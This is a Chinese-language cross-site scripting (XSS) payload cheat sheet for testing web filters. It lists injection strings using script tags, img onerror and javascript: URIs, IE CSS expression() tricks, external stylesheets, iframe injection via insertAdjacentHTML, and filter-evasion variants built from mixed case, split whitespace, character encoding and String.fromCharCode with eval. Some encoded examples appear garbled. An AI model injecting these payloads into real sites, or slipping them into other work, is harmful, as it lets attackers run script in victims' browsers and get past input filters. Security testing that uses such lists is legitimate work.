xss测试代码
1.标准的xss漏洞测试代码
<script>alert('xss')</script>
2.img图片标记属性跨站攻击代码
<img src="javascript:alert(/xss/)"></img>
<img dynsrc="javascript:alert('xss')">
3.无需"<>",利用html标记事件属性跨站
(1)利用已知事件
<img src="" onerror=alert("xss")>
<marquee style="background-color:red" onstart=alert('xss')">文字</marquee>
<div style="background-color:red" onmouseenter="alert('monyer')">123456</div>
<div style="background-color:red" onmouseleave="alert('monyer')">123456</div>
2.构造事件进行攻击
<img src="#" style="Xss:expression(alert(/xss/));"> 很变态的
<div src="#" style="Xss:expression(alert(/xss/));">
<font style="Xss:expression(alert(/xss/));">
<li style="Xss:expression(alert(/xss/));">
<table style="Xss:expression(alert(/xss/));">
<a style="Xss:expression(alert(/xss/));">
<b style="Xss:expression(alert(/xss/));">
<ul style="Xss:expression(alert(/xss/));">
<marquee style="Xss:expression(alert(/xss/));">
<style>input { left:expression(alert('xss'))} </style>
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:exp/* */ression(alert('xss'))}">
<div style="{ left:\0065\0078pression alert('xss'))}">
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:xpression(alert('xss'))}">
<div style="{ left:expRessioN(alert('xss'))}">
3.外接样式表漏洞跨站
<link rel="stylesheet" type="text/css" href="www.test.com/test.css"></link>
@import "http://www.test.com/test.css";
样式表css中的内容为 body{background-image:url(javascript:alert('xss'))}
4.利用insertAdjacentHTML方法
<b style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></b>
<a style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></a>
<table style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></table>
<li style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></li>
<font style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></font>
5.用javascript换行与空格突破过滤
<img src="j ava script:al er t('xss')">
用tab键产生的空格
<img src="j ava
scri
pt:al er t('xss')">
<img src="#"/**/onerror=alert(/xss/) width=100>
6.转代码,绕过滤
(1).大小写转换
<img src="JaVaSCRiPt:alert(/xss/)"></img>
<ScRipT>alert('xss')</SCrIPt>
(2)进制编码转换(啊D编码工具转换)
<img src="Javascript:alert('xss')"> 转换为

进制转换
<img src="Javascript:alert('xss')">
&#;10进制转换
<img src="Javascript:alert('xss') ">
(3)空格与回车符转换
<img src="Jav	ascript:alert('xss')">
<img src="Jav
ascript:alert('xss')">
<img src="Jav
ascript:alert('xss')">
	是空格 
和
是回车
7.JS还原函数法
<img src="Javascript:alert('xss')">
转换为
<img src="Javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">